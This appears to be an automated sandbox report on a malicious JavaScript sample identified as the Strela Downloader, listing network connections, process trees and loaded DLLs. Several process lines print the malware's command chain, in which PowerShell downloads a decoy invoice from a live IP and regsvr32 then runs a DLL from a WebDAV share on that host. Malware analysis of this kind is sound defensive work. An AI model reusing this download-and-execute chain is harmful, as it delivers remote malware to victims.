Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2141962441.000001E8469FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2200241947.000001FCDE359000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200241947.000001FCDE328000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2200241947.000001FCDE37D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2200241947.000001FCDE359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000007.00000002.2200241947.000001FCDE359000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000007.00000002.2200241947.000001FCDE328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/S
Source: svchost.exe, 00000009.00000002.3440209445.000002928008C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2203205854.000002927FE40000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1212, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 217216328232499881.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4072:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skx2y3yn.s33.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 217216328232499881.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\217216328232499881.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1544,i,1808535694798549157,12616160667384568895,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\806599552019.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1544,i,1808535694798549157,12616160667384568895,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
